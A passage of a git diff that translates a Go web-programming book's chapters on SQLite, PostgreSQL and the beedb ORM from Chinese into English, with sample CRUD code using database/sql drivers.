checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created time.Time - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=?") - checkErr(err) - - res, err = stmt.Exec(id) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - - -我们可以看到上面的代码和MySQL例子里面的代码几乎是一模一样的,唯一改变的就是导入的驱动改变了,然后调用`sql.Open`是采用了SQLite的方式打开。 - - ->sqlite管理工具:http://sqliteadmin.orbmu2k.de/ - ->可以方便的新建数据库管理。 - -## links - * [目录]() - * 上一节: [使用MySQL数据库](<05.2.md>) - * 下一节: [使用PostgreSQL数据库](<05.4.md>) +# 5.3 SQLite + +SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access. + +## SQLite drivers + +There are many database drivers for SQLite in Go, but many of them do not support the `database/sql` interface standards. + +- [https://github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) supports `database/sql`, based on cgo. +- [https://github.com/feyeleanor/gosqlite3](https://github.com/feyeleanor/gosqlite3) doesn't support `database/sql`, based on cgo. +- [https://github.com/phf/go-sqlite3](https://github.com/phf/go-sqlite3) doesn't support `database/sql`, based on cgo. + +The first driver is the only one that supports the `database/sql` interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to. + +## Samples + +We create the following SQL: + + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `departname` VARCHAR(64) NULL, + `created` DATE NULL + ); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called `sql.Open` to connect to SQLite in a different way. + +As a final note on this secton, there is a useful SQLite management tool available: [http://sqliteadmin.orbmu2k.de/](http://sqliteadmin.orbmu2k.de/) + +## Links + +- [Directory](preface.md) +- Previous section: [MySQL](05.2.md) +- Next section: [PostgreSQL](05.4.md) diff --git a/en/05.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..4457a986 --- /dev/null +++ b/en/05.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,119 @@ +# 5.3 使用SQLite数据库 + +SQLite 是一个开源的嵌入式关系数据库,实现自包容、零配置、支持事务的SQL数据库引擎。其特点是高度便携、使用方便、结构紧凑、高效、可靠。 与其他数据库管理系统不同,SQLite 的安装和运行非常简单,在大多数情况下,只要确保SQLite的二进制文件存在即可开始创建、连接和使用数据库。如果您正在寻找一个嵌入式数据库项目或解决方案,SQLite是绝对值得考虑。SQLite可以是说开源的Access。 + +## 驱动 +Go支持sqlite的驱动也比较多,但是好多都是不支持database/sql接口的 + +- https://github.com/mattn/go-sqlite3 支持database/sql接口,基于cgo(关于cgo的知识请参看官方文档或者本书后面的章节)写的 +- https://github.com/feyeleanor/gosqlite3 不支持database/sql接口,基于cgo写的 +- https://github.com/phf/go-sqlite3 不支持database/sql接口,基于cgo写的 + +目前支持database/sql的SQLite数据库驱动只有第一个,我目前也是采用它来开发项目的。采用标准接口有利于以后出现更好的驱动的时候做迁移。 + +## 实例代码 +示例的数据库表结构如下所示,相应的建表SQL: + + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `departname` VARCHAR(64) NULL, + `created` DATE NULL + ); + + CREATE TABLE `userdeatail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) + ); + +看下面Go程序是如何操作数据库表数据:增删改查 + + package main + + import ( + "database/sql" + "fmt" + "time" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + //插入数据 + stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //更新数据 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + + +我们可以看到上面的代码和MySQL例子里面的代码几乎是一模一样的,唯一改变的就是导入的驱动改变了,然后调用`sql.Open`是采用了SQLite的方式打开。 + + +>sqlite管理工具:http://sqliteadmin.orbmu2k.de/ + +>可以方便的新建数据库管理。 + +## links + * [目录]() + * 上一节: [使用MySQL数据库](<05.2.md>) + * 下一节: [使用PostgreSQL数据库](<05.4.md>) diff --git a/en/05.4.md b/en/05.4.md index 44190eaa..8bf850f9 100644 --- a/en/05.4.md +++ b/en/05.4.md @@ -1,124 +1,123 @@ -# 5.4 使用PostgreSQL数据库 - -PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和对专有系统比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server的一种选择。 - -PostgreSQL和MySQL比较,它更加庞大一点,因为它是用来替代Oracle而设计的。所以在企业应用中采用PostgreSQL是一个明智的选择。 - -MySQL被Oracle收购之后正在逐步的封闭(自MySQL 5.5.31以后的所有版本将不再遵循GPL协议),鉴于此,将来我们也许会选择PostgreSQL而不是MySQL作为项目的后端数据库。 - -## 驱动 -Go实现的支持PostgreSQL的驱动也很多,因为国外很多人在开发中使用了这个数据库。 - -- https://github.com/lib/pq 支持database/sql驱动,纯Go写的 -- https://github.com/jbarham/gopgsqldriver 支持database/sql驱动,纯Go写的 -- https://github.com/lxn/go-pgsql 支持database/sql驱动,纯Go写的 - -在下面的示例中我采用了第一个驱动,因为它目前使用的人最多,在github上也比较活跃。 - -## 实例代码 -数据库建表语句: - - CREATE TABLE userinfo - ( - uid serial NOT NULL, - username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, - Created date, - CONSTRAINT userinfo_pkey PRIMARY KEY (uid) - ) - WITH (OIDS=FALSE); - - CREATE TABLE userdeatail - ( - uid integer, - intro character varying(100), - profile character varying(100) - ) - WITH(OIDS=FALSE); - -看下面这个Go如何操作数据库表数据:增删改查 - -package main - - import ( - "database/sql" - "fmt" - _ "https://github.com/lib/pq" - ) - - func main() { - db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") - checkErr(err) - - //插入数据 - stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) - - //pg不支持这个函数,因为他没有类似MySQL的自增ID - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - - //更新数据 - stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", 1) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - //查询数据 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //删除数据 - stmt, err = db.Prepare("delete from userinfo where uid=$1") - checkErr(err) - - res, err = stmt.Exec(1) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - -从上面的代码我们可以看到,PostgreSQL是通过`$1`,`$2`这种方式来指定要传递的参数,而不是MySQL中的`?`,另外在sql.Open中的dsn信息的格式也与MySQL的驱动中的dsn格式不一样,所以在使用时请注意它们的差异。 - -还有pg不支持LastInsertId函数,因为PostgreSQL内部没有实现类似MySQL的自增ID返回,其他的代码几乎是一模一样。 - -## links - * [目录]() - * 上一节: [使用SQLite数据库](<05.3.md>) - * 下一节: [使用beedb库进行ORM开发](<05.5.md>) +# 5.4 PostgreSQL + +PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It's larger than MySQL because it's designed for enterprise usage like Oracle. Postgresql is good choice for enterprise type projects. + +## PostgreSQL drivers + +There are many database drivers available for PostgreSQL. Here are three examples of them: + +- [https://github.com/bmizerany/pq](https://github.com/bmizerany/pq) supports `database/sql`, written in pure Go. +- [https://github.com/jbarham/gopgsqldriver](https://github.com/jbarham/gopgsqldriver) supports `database/sql`, written in pure Go. +- [https://github.com/lxn/go-pgsql](https://github.com/lxn/go-pgsql) supports `database/sql`, written in pure Go. + +I'll use the first one in my following examples. + +## Samples + +We create the following SQL: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/bmizerany/pq" + "time" + ) + + const ( + DB_USER = "postgres" + DB_PASSWORD = "postgres" + DB_NAME = "test" + ) + + func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("last inserted id =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Note that PostgreSQL uses the `$1, $2` format instead of the `?` that MySQL uses, and it has a different DSN format in `sql.Open`. +Another thing is that the Postgres driver does not support `sql.Result.LastInsertId()`. +So instead of this, + + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);") + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + fmt.Println(res.LastInsertId()) + +use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id. + + err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId) + fmt.Println(lastInsertId) + +## Links + +- [Directory](preface.md) +- Previous section: [SQLite](05.3.md) +- Next section: [Develop ORM based on beedb](05.5.md) diff --git a/en/05.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..02a4b2fa --- /dev/null +++ b/en/05.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,124 @@ +# 5.4 使用PostgreSQL数据库 + +PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和对专有系统比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server的一种选择。 + +PostgreSQL和MySQL比较,它更加庞大一点,因为它是用来替代Oracle而设计的。所以在企业应用中采用PostgreSQL是一个明智的选择。 + +MySQL被Oracle收购之后正在逐步的封闭(自MySQL 5.5.31以后的所有版本将不再遵循GPL协议),鉴于此,将来我们也许会选择PostgreSQL而不是MySQL作为项目的后端数据库。 + +## 驱动 +Go实现的支持PostgreSQL的驱动也很多,因为国外很多人在开发中使用了这个数据库。 + +- https://github.com/lib/pq 支持database/sql驱动,纯Go写的 +- https://github.com/jbarham/gopgsqldriver 支持database/sql驱动,纯Go写的 +- https://github.com/lxn/go-pgsql 支持database/sql驱动,纯Go写的 + +在下面的示例中我采用了第一个驱动,因为它目前使用的人最多,在github上也比较活跃。 + +## 实例代码 +数据库建表语句: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + + CREATE TABLE userdeatail + ( + uid integer, + intro character varying(100), + profile character varying(100) + ) + WITH(OIDS=FALSE); + +看下面这个Go如何操作数据库表数据:增删改查 + +package main + + import ( + "database/sql" + "fmt" + _ "https://github.com/lib/pq" + ) + + func main() { + db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") + checkErr(err) + + //插入数据 + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + //pg不支持这个函数,因为他没有类似MySQL的自增ID + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + + //更新数据 + stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", 1) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查询数据 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //删除数据 + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(1) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +从上面的代码我们可以看到,PostgreSQL是通过`$1`,`$2`这种方式来指定要传递的参数,而不是MySQL中的`?`,另外在sql.Open中的dsn信息的格式也与MySQL的驱动中的dsn格式不一样,所以在使用时请注意它们的差异。 + +还有pg不支持LastInsertId函数,因为PostgreSQL内部没有实现类似MySQL的自增ID返回,其他的代码几乎是一模一样。 + +## links + * [目录]() + * 上一节: [使用SQLite数据库](<05.3.md>) + * 下一节: [使用beedb库进行ORM开发](<05.5.md>) diff --git a/en/05.5.md b/en/05.5.md index 481a8625..3ad7a0a7 100644 --- a/en/05.5.md +++ b/en/05.5.md @@ -1,249 +1,256 @@ -# 5.5 使用beedb库进行ORM开发 -beedb是我开发的一个Go进行ORM操作的库,它采用了Go style方式对数据库进行操作,实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架,开发这个库的本意降低复杂的ORM学习曲线,尽可能在ORM的运行效率和功能之间寻求一个平衡,beedb是目前开源的Go ORM框架中实现比较完整的一个库,而且运行效率相当不错,功能也基本能满足需求。但是目前还不支持关系关联,这个是接下来版本升级的重点。 - -beedb是支持database/sql标准接口的ORM库,所以理论上来说,只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个: - -Mysql:github.com/ziutek/mymysql/godrv[*] - -Mysql:code.google.com/p/go-mysql-driver[*] - -PostgreSQL:github.com/bmizerany/pq[*] - -SQLite:github.com/mattn/go-sqlite3[*] - -MS ADODB: github.com/mattn/go-adodb[*] - -ODBC: bitbucket.org/miquella/mgodbc[*] - -## 安装 - -beedb支持go get方式安装,是完全按照Go Style的方式来实现的。 - - go get github.com/astaxie/beedb - -## 如何初始化 -首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包,如下所示: - - import ( - "database/sql" - "github.com/astaxie/beedb" - _ "github.com/ziutek/mymysql/godrv" - ) - -导入必须的package之后,我们需要打开到数据库的链接,然后创建一个beedb对象(以MySQL为例),如下所示 - - db, err := sql.Open("mymysql", "test/xiemengjun/123456") - if err != nil { - panic(err) - } - orm := beedb.New(db) - -beedb的New函数实际上应该有两个参数,第一个参数标准接口的db,第二个参数是使用的数据库引擎,如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。 - -如果你使用的数据库是SQLServer,那么初始化需要: - - orm = beedb.New(db, "mssql") - -如果你使用了PostgreSQL,那么初始化需要: - - orm = beedb.New(db, "pg") - -目前beedb支持打印调试,你可以通过如下的代码实现调试 - - beedb.OnDebug=true - -接下来我们的例子采用前面的数据库表Userinfo,现在我们建立相应的struct - - type Userinfo struct { - Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 - Username string - Departname string - Created time.Time - } - ->注意一点,beedb针对驼峰命名会自动帮你转化成下划线字段,例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。 - -## 插入数据 -下面的代码演示了如何插入一条记录,可以看到我们操作的是struct对象,而不是原生的sql语句,最后通过调用Save接口将数据保存到数据库。 - - var saveone Userinfo - saveone.Username = "Test Add User" - saveone.Departname = "Test Add Departname" - saveone.Created = time.Now() - orm.Save(&saveone) - -我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。 - -beedb接口提供了另外一种插入的方式,map数据插入。 - - add := make(map[string]interface{}) - add["username"] = "astaxie" - add["departname"] = "cloud develop" - add["created"] = "2012-12-02" - orm.SetTable("userinfo").Insert(add) - -插入多条数据 - - addslice := make([]map[string]interface{}, 0) - add:=make(map[string]interface{}) - add2:=make(map[string]interface{}) - add["username"] = "astaxie" - add["departname"] = "cloud develop" - add["created"] = "2012-12-02" - add2["username"] = "astaxie2" - add2["departname"] = "cloud develop2" - add2["created"] = "2012-12-02" - addslice =append(addslice, add, add2) - orm.SetTable("userinfo").InsertBatch(addslice) - -上面的操作方式有点类似链式查询,熟悉jquery的同学应该会觉得很亲切,每次调用的method都会返回原orm对象,以便可以继续调用该对象上的其他method。 - -上面我们调用的SetTable函数是显式的告诉ORM,我要执行的这个map对应的数据库表是`userinfo`。 - -## 更新数据 -继续上面的例子来演示更新操作,现在saveone的主键已经有值了,此时调用save接口,beedb内部会自动调用update以进行数据的更新而非插入操作。 - - saveone.Username = "Update Username" - saveone.Departname = "Update Departname" - saveone.Created = time.Now() - orm.Save(&saveone) //现在saveone有了主键值,就执行更新操作 - -更新数据也支持直接使用map操作 - - t := make(map[string]interface{}) - t["username"] = "astaxie" - orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) - -这里我们调用了几个beedb的函数 - -SetPK:显式的告诉ORM,数据库表`userinfo`的主键是`uid`。 - -Where:用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。 -Updata函数接收map类型的数据,执行更新数据。 - -## 查询数据 -beedb的查询接口比较灵活,具体使用请看下面的例子 - -例子1,根据主键获取数据: - - var user Userinfo - //Where接受两个参数,支持整形参数 - orm.Where("uid=?", 27).Find(&user) - - -例子2: - - var user2 Userinfo - orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键 - -例子3,不是主键类型的的条件: - - var user3 Userinfo - //Where接受两个参数,支持字符型的参数 - orm.Where("name = ?", "john").Find(&user3) -例子4,更加复杂的条件: - - var user4 Userinfo - //Where支持三个参数 - orm.Where("name = ? and age < ?", "john", 88).Find(&user4) - - -可以通过如下接口获取多条数据,请看示例 - -例子1,根据条件id>3,获取20位置开始的10条数据的数据 - - var allusers []Userinfo - err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) - -例子2,省略limit第二个参数,默认从0开始,获取10条数据 - - var tenusers []Userinfo - err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) - -例子3,获取全部数据 - - var everyone []Userinfo - err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) - -上面这些里面里面我们看到一个函数Limit,他是用来控制查询结构条数的。 - -Limit:支持两个参数,第一个参数表示查询的条数,第二个参数表示读取数据的起始位置,默认为0。 - -OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。 - -上面这些例子都是将获取的的数据直接映射成struct对象,如果我们只是想获取一些数据到map,以下方式可以实现: - - a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() - -上面和这个例子里面又出现了一个新的接口函数Select,这个函数用来指定需要查询多少个字段。默认为全部字段`*`。 - -FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。 - -## 删除数据 -beedb提供了丰富的删除数据接口,请看下面的例子 - -例子1,删除单条数据 - - //saveone就是上面示例中的那个saveone - orm.Delete(&saveone) - -例子2,删除多条数据 - - //alluser就是上面定义的获取多条数据的slice - orm.DeleteAll(&alluser) - -例子3,根据sql删除数据 - - orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() - - -## 关联查询 -目前beedb还不支持struct的关联关系,但是有些应用却需要用到连接查询,所以现在beedb提供了一个简陋的实现方案: - - a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap() - -上面代码中我们看到了一个新的接口Join函数,这个函数带有三个参数 - -- 第一个参数可以是:INNER, LEFT, OUTER, CROSS等 -- 第二个参数表示连接的表 -- 第三个参数表示连接的条件 - - -## Group By和Having -针对有些应用需要用到group by和having的功能,beedb也提供了一个简陋的实现 - - a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() - -上面的代码中出现了两个新接口函数 - -GroupBy:用来指定进行groupby的字段 - -Having:用来指定having执行的时候的条件 - -## 进一步的发展 -目前beedb已经获得了很多来自国内外用户的反馈,我目前也正在考虑重构,接下来会在几个方面进行改进 - -- 实现interface设计,类似databse/sql/driver的设计,设计beedb的接口,然后去实现相应数据库的CRUD操作 -- 实现关联数据库设计,支持一对一,一对多,多对多的实现,示例代码如下: - - - type Profile struct{ - Nickname string - Mobile string - } - - type Userinfo struct { - Uid int `PK` - Username string - Departname string - Created time.Time - Profile `HasOne` - } - -- 自动建库建表建索引 -- 实现连接池的实现,采用goroutine - -## links - * [目录]() - * 上一节: [使用PostgreSQL数据库](<05.4.md>) - * 下一节: [NOSQL数据库操作](<05.6.md>) +# 5.5 Develop ORM based on beedb + +( ***Project beedb is no longer maintained, but the code s still there*** ) + +beedb is an ORM ( object-relational mapper ) developed in Go, by me. +It uses idiomatic Go to operate on databases, implementing struct to database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence. + +beedb is an open source project that supports basic ORM functionality, but doesn't support association queries. + +Because beedb supports `database/sql` interface standards, any driver that implements this interface can be used with beedb. I've tested the following drivers: + +Mysql: [github.com/ziutek/mymysql/godrv](github.com/ziutek/mymysql/godrv) + +Mysql: [code.google.com/p/go-mysql-driver](code.google.com/p/go-mysql-driver) + +PostgreSQL: [github.com/bmizerany/pq](github.com/bmizerany/pq) + +SQLite: [github.com/mattn/go-sqlite3](github.com/mattn/go-sqlite3) + +MS ADODB: [github.com/mattn/go-adodb](github.com/mattn/go-adodb) + +ODBC: [bitbucket.org/miquella/mgodbc](bitbucket.org/miquella/mgodbc) + +## Installation + +You can use `go get` to install beedb locally. + + go get github.com/astaxie/beedb + +## Initialization + +First, you have to import all the necessary packages: + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) + +Then you need to open a database connection and create a beedb object (MySQL in this example): + + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + +`beedb.New()` actually has two arguments. The first is the the database opject, and the second is for indicating which database engine you're using. If you're using MySQL/SQLite, you can just skip the second argument. + +Otherwise, this argument must be supplied. For instance, in the case of SQLServer: + + orm = beedb.New(db, "mssql") + +PostgreSQL: + + orm = beedb.New(db, "pg") + +beedb supports debugging. Use the following code to enable it: + + beedb.OnDebug=true + +Next, we have a struct for the `Userinfo` database table that we used in previous sections. + + type Userinfo struct { + Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key. + Username string + Departname string + Created time.Time + } + +Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have `UserInfo` as the struct name, beedb will convert it to `user_info` in the database. The same rule applies to struct field names. +Camel + +## Insert data + +The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change. + + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) + +You can check `saveone.Uid` after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you. + +beedb provides another way of inserting data; this is via Go's map type. + + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) + +Insert multiple data: + + addslice := make([]map[string]interface{}, 10) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice = append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) + +The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It returns the original ORM object after calls, then continues doing other jobs. + +The method `SetTable` tells the ORM we want to insert our data into the `userinfo` table. + +## Update data + +Let's continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record. + + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) // update + +Like before, you can use map for updating data also: + + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + +Let me explain some of the methods used above: + +- `.SetPK()` tells the ORM that `uid` is the primary key records in the `userinfo` table. +- `.Where()` sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for `Where("=?", )`. +- `.Update()` method accepts a map and updates the database. + +## Query data + +The beedb query interface is very flexible. Let's see some examples: + +Example 1, query by primary key: + + var user Userinfo + // Where accepts two arguments, supports integers + orm.Where("uid=?", 27).Find(&user) + +Example 2: + + var user2 Userinfo + orm.Where(3).Find(&user2) // short form that omits primary key + +Example 3, other query conditions: + + var user3 Userinfo + // Where accepts two arguments, supports char type. + orm.Where("name = ?", "john").Find(&user3) + +Example 4, more complex conditions: + + var user4 Userinfo + // Where accepts three arguments + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) + +Examples to get multiple records: + +Example 1, gets 10 records with `id>3` that starts with position 20: + + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) + +Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records: + + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) + +Example 3, gets all records: + + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) + +As you can see, the Limit method is for limiting the number of results. + +- `.Limit()` supports two arguments: the number of results and the starting position. 0 is the default value of the starting position. +- 